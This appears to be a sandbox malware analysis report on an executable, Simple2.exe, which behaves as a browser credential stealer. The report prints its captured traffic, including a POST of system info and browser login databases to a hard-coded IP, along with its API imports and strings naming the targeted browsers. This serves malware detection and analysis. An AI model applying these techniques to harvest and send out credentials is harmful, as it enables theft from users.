Dec 6, 2024 11:10:29.741280079 CET	1.1.1.1	192.168.2.6	0x72c3	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 6, 2024 11:10:29.741280079 CET	1.1.1.1	192.168.2.6	0x72c3	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 6, 2024 11:10:29.741280079 CET	1.1.1.1	192.168.2.6	0x72c3	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

185.237.165.97

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	172.67.74.152	80	4600	C:\Users\user\Desktop\Simple2.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 11:10:29.898848057 CET	88	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP/1.0 Host: api.ipify.org
Dec 6, 2024 11:10:30.962733984 CET	429	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 10:10:30 GMT Content-Type: text/plain Content-Length: 12 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8edb7c8e6e75438d-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1660&min_rtt=1660&rtt_var=830&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=88&delivery_rate=0&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 Data Ascii: 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49715	185.237.165.97	80	4600	C:\Users\user\Desktop\Simple2.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 11:10:32.064127922 CET	185	OUT	POST /userdata HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WebKitFormBoundary User-Agent: WinHTTP/1.0 Content-Length: 96979 Host: 185.237.165.97
Dec 6, 2024 11:10:32.064218044 CET	11124	OUT	Data Raw: 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 79 73 69 6e 66 6f 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 Data Ascii: --WebKitFormBoundaryContent-Disposition: form-data; name="sysinfo"Content-Type: application/json{ "sysinfo": "MACHINE%20INFO%3a%0aMachine%20name%3a%20440BX%20Desktop%20Reference%20Platform%0aProcessor%20name%3a%20Intel%28R%29%20Core%28
Dec 6, 2024 11:10:32.183846951 CET	1236	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:10:32.183939934 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:10:32.184120893 CET	4944	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:10:32.184145927 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:10:32.184187889 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:10:32.184267998 CET	4944	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:10:32.184292078 CET	2472	OUT	Data Raw: 4f 49 4e 43 52 45 4d 45 4e 54 2c 20 70 61 72 65 6e 74 5f 69 64 20 49 4e 54 45 47 45 52 20 4e 4f 54 20 4e 55 4c 4c 20 52 45 46 45 52 45 4e 43 45 53 20 6c 6f 67 69 6e 73 20 4f 4e 20 55 50 44 41 54 45 20 43 41 53 43 41 44 45 20 4f 4e 20 44 45 4c 45 Data Ascii: OINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));O)
Dec 6, 2024 11:10:32.184351921 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:10:32.303705931 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Target ID:	0
Start time:	05:10:27
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\Simple2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Simple2.exe"
Imagebase:	0x7ff6876b0000
File size:	79'872 bytes
MD5 hash:	ED207427A25863F5524D616525943DD5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:10:28
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	30.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	41.2%
Total number of Nodes:	743
Total number of Limit Nodes:	12

Executed Functions

Function 00007FF6876B1AC0 Relevance: 185.4, APIs: 75, Strings: 30, Instructions: 1699COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6876B1520: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B157D
Part of subcall function 00007FF6876B1520: ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF6876B159C
Part of subcall function 00007FF6876B1520: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B15D0
Part of subcall function 00007FF6876B1520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z.MSVCP140 ref: 00007FF6876B1607
Part of subcall function 00007FF6876B1520: isalnum.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6876B1639
Part of subcall function 00007FF6876B1520: ?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140 ref: 00007FF6876B165E
Part of subcall function 00007FF6876B1520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF6876B168C

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B1BCC
memcpy.VCRUNTIME140 ref: 00007FF6876B1C1D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B1D1F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B1D70
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B1DC1
WinHttpOpen.WINHTTP ref: 00007FF6876B1DF4
WinHttpConnect.WINHTTP ref: 00007FF6876B1E30
WinHttpOpenRequest.WINHTTP ref: 00007FF6876B1E8D
memcpy.VCRUNTIME140 ref: 00007FF6876B1FE6
GetFileAttributesW.KERNELBASE ref: 00007FF6876B21C4
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6876B2214
memcpy.VCRUNTIME140 ref: 00007FF6876B2258
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6876B25AE
memcpy.VCRUNTIME140 ref: 00007FF6876B26E6
memcmp.VCRUNTIME140 ref: 00007FF6876B277E
memcpy.VCRUNTIME140 ref: 00007FF6876B2DD9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3214
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B321B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3222
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3229
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3230
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3237
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B323E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3245
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B324C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3253
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B325A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3261
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3268
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B326F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3276
memcpy.VCRUNTIME140 ref: 00007FF6876B29A8

Part of subcall function 00007FF6876BB188: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BB1B8
Part of subcall function 00007FF6876BB188: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BB1BE

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6876B3209
memcpy.VCRUNTIME140 ref: 00007FF6876B210C

Part of subcall function 00007FF6876BB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6876B1079), ref: 00007FF6876BB1A2

memcpy.VCRUNTIME140 ref: 00007FF6876B32D2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3329
WinHttpSendRequest.WINHTTP ref: 00007FF6876B3375
WinHttpReceiveResponse.WINHTTP ref: 00007FF6876B3388
WinHttpQueryHeaders.WINHTTP ref: 00007FF6876B33BF
GetLastError.KERNEL32 ref: 00007FF6876B361C

Part of subcall function 00007FF6876B94E0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B95D6

GetLastError.KERNEL32 ref: 00007FF6876B3414

Part of subcall function 00007FF6876B94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9559
Part of subcall function 00007FF6876B94E0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9579
Part of subcall function 00007FF6876B94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9589
Part of subcall function 00007FF6876B94E0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9664
Part of subcall function 00007FF6876B94E0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B966B
Part of subcall function 00007FF6876B94E0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9678

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF6876B3434
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6876B3444
WinHttpCloseHandle.WINHTTP ref: 00007FF6876B344D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B348C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B34DA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3522
WinHttpCloseHandle.WINHTTP ref: 00007FF6876B3541
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3589
GetLastError.KERNEL32 ref: 00007FF6876B3590
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF6876B35B0
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6876B35C0
WinHttpCloseHandle.WINHTTP ref: 00007FF6876B35D3
GetLastError.KERNEL32 ref: 00007FF6876B35DB
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF6876B35FB
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6876B360B
WinHttpCloseHandle.WINHTTP ref: 00007FF6876B3614
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF6876B363C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B3703

Part of subcall function 00007FF6876B1270: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6876BB1C3), ref: 00007FF6876B12B4

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6876B364C

Part of subcall function 00007FF6876B1310: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF6876B131B

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B367E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B36C6

Part of subcall function 00007FF6876B9BB0: memcpy.VCRUNTIME140 ref: 00007FF6876B9BE8

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B3709
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B370F

Part of subcall function 00007FF6876BA6C0: memcpy.VCRUNTIME140 ref: 00007FF6876BA787

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B3721
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B3727
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B3733
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B3786

Strings

chromium, xrefs: 00007FF6876B21A6
brave, xrefs: 00007FF6876B23B6, 00007FF6876B23CE
--WebKitFormBoundary, xrefs: 00007FF6876B1EDE
FileData is empty, xrefs: 00007FF6876B2591
/userdata, xrefs: 00007FF6876B1E46
Content-Type: application/json, xrefs: 00007FF6876B2016, 00007FF6876B2C27
msedge, xrefs: 00007FF6876B2358, 00007FF6876B2370
chromium, xrefs: 00007FF6876B30F1
.sqlite", xrefs: 00007FF6876B2E2D
chromium, xrefs: 00007FF6876B2312
, xrefs: 00007FF6876B2111
chromebeta, xrefs: 00007FF6876B22AC, 00007FF6876B22C4
"; filename="login_data, xrefs: 00007FF6876B29C9, 00007FF6876B2DE8
POST, xrefs: 00007FF6876B1E83
File is found: , xrefs: 00007FF6876B21DE
operagx, xrefs: 00007FF6876B246C, 00007FF6876B2484
opera, xrefs: 00007FF6876B240E, 00007FF6876B2426
Content-Type: multipart/form-data; boundary=WebKitFormBoundary, xrefs: 00007FF6876B3367
" }, xrefs: 00007FF6876B1CBA
yandex, xrefs: 00007FF6876B24C5, 00007FF6876B24DA
Content-Disposition: form-data; name="sysinfo", xrefs: 00007FF6876B1FFD
chrome, xrefs: 00007FF6876B224E, 00007FF6876B2266
", "ip": ", xrefs: 00007FF6876B1C2C
WinHTTP/1.0, xrefs: 00007FF6876B1DED
firefox, xrefs: 00007FF6876B251F, 00007FF6876B2534, 00007FF6876B2777
fo": ", xrefs: 00007FF6876B1BFF
Content-Type: application/x-sqlite3, xrefs: 00007FF6876B2FBF
name=", xrefs: 00007FF6876B298A, 00007FF6876B2DBB
File not found: , xrefs: 00007FF6876B31D3
.json", xrefs: 00007FF6876B2A15

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$V01@$U?$char_traits@$D@std@@@std@@$??6?$basic_ostream@$Httpmemcpy$Concurrency::cancel_current_task$V01@@$CloseErrorHandleLast$U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@OpenRequest$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_iostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?setw@std@@?sputc@?$basic_streambuf@?uncaught_exception@std@@AttributesConnectD@std@@@1@_FileHeadersJ@1@_Osfx@?$basic_ostream@_QueryReceiveResponseSendSmanip@_U?$_V12@V21@@V?$basic_streambuf@Vios_base@1@Xlength_error@std@@__std_exception_copyisalnummallocmemcmp
String ID: $" }$", "ip": "$"; filename="login_data$--WebKitFormBoundary$.json"$.sqlite"$/userdata$Content-Disposition: form-data; name="sysinfo"$Content-Type: application/json$Content-Type: application/x-sqlite3$Content-Type: multipart/form-data; boundary=WebKitFormBoundary$File is found: $File not found: $FileData is empty$POST$WinHTTP/1.0$brave$chrome$chromebeta$chromium$chromium$chromium$firefox$fo": "$msedge$name="$opera$operagx$yandex
API String ID: 1510262236-3911588127
Opcode ID: c59d58eccc0e085e96d167c9425b2afd8dd48b5376d94124c565bb9e2dc95698
Instruction ID: 518217e26d893877037ab76698d8eb719e4bde9d785a439dead12fc08662d181
Opcode Fuzzy Hash: c59d58eccc0e085e96d167c9425b2afd8dd48b5376d94124c565bb9e2dc95698
Instruction Fuzzy Hash: 30F2A162E58B86C5EF248B25D8443E92361FF46794F404239EA6D8AAD9DF7CF5C4E300

Function 00007FF6876B5540 Relevance: 130.4, APIs: 53, Strings: 21, Instructions: 861
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 00007FF6876B557B
ShowWindow.USER32 ref: 00007FF6876B5589

Part of subcall function 00007FF6876B9260: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF6876B1C3D), ref: 00007FF6876B92A6

Part of subcall function 00007FF6876B41F0: memset.VCRUNTIME140(?), ref: 00007FF6876B423F
Part of subcall function 00007FF6876B41F0: memset.VCRUNTIME140(?), ref: 00007FF6876B4253
Part of subcall function 00007FF6876B41F0: memset.VCRUNTIME140(?), ref: 00007FF6876B4267
Part of subcall function 00007FF6876B41F0: memset.VCRUNTIME140(?), ref: 00007FF6876B427B
Part of subcall function 00007FF6876B41F0: memset.VCRUNTIME140(?), ref: 00007FF6876B428D
Part of subcall function 00007FF6876B41F0: RegOpenKeyExA.KERNELBASE(?), ref: 00007FF6876B42BE
Part of subcall function 00007FF6876B41F0: RegGetValueA.KERNELBASE ref: 00007FF6876B42F2
Part of subcall function 00007FF6876B41F0: RegCloseKey.KERNELBASE ref: 00007FF6876B432D
Part of subcall function 00007FF6876B41F0: RegOpenKeyExA.KERNELBASE ref: 00007FF6876B435C
Part of subcall function 00007FF6876B41F0: RegGetValueA.KERNELBASE ref: 00007FF6876B4395

Part of subcall function 00007FF6876B7F40: memcpy.VCRUNTIME140 ref: 00007FF6876B7F97

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B5608
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B5676
GetSystemInfo.KERNELBASE ref: 00007FF6876B569D
memset.VCRUNTIME140 ref: 00007FF6876B56B2
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z.MSVCP140 ref: 00007FF6876B56DF
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF6876B570E
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B577A
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B5787
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B57D1
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF6876B5800
memset.VCRUNTIME140 ref: 00007FF6876B5815
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z.MSVCP140 ref: 00007FF6876B5849
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B58AE
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B58BB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B5905
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B5973
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6876B59A1
memset.VCRUNTIME140 ref: 00007FF6876B59B9
GetAdaptersInfo.IPHLPAPI ref: 00007FF6876B59D2
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6876B59E0
GetAdaptersInfo.IPHLPAPI ref: 00007FF6876B59F0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6876B5A76
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B5ACC
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B5AD9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B5B23
memcpy.VCRUNTIME140 ref: 00007FF6876B5C37
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B5CBA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B5CFB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B5D69
memset.VCRUNTIME140 ref: 00007FF6876B5D9F
NetGetJoinInformation.NETAPI32 ref: 00007FF6876B5DBC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B5E6B
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B5EDA
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B5EE7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B5F31

Part of subcall function 00007FF6876B1310: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF6876B131B

GetTimeZoneInformation.KERNELBASE ref: 00007FF6876B5F44
memset.VCRUNTIME140 ref: 00007FF6876B5F56
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B600F
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B6069
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B6076
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B60C0
memset.VCRUNTIME140 ref: 00007FF6876B60D8
GetModuleFileNameA.KERNEL32 ref: 00007FF6876B60F6
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B6165
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B6172
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B61BC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B622A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B62B1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B62F3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B6341
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B6385

Strings

185.237.165.97, xrefs: 00007FF6876B624D
DOMAIN AND TZ INFO:, xrefs: 00007FF6876B5D7B
MACHINE INFO:, xrefs: 00007FF6876B55AC
MB, xrefs: 00007FF6876B5852
Processor Architecture: , xrefs: 00007FF6876B56C4
@, xrefs: 00007FF6876B57F3
LOCALE INFO:, xrefs: 00007FF6876B561A
Total Physical Memory: , xrefs: 00007FF6876B5830
USERS INFO:, xrefs: 00007FF6876B5D0D
ADAPTERS INFO:, xrefs: 00007FF6876B5985
PROCESSES RUNNING:, xrefs: 00007FF6876B61CE
Domain: , xrefs: 00007FF6876B5DF6
IP Address: , xrefs: 00007FF6876B5A33
Executable Path: , xrefs: 00007FF6876B60FC
Number of Cores: , xrefs: 00007FF6876B56F4
IP: , xrefs: 00007FF6876B5C1A
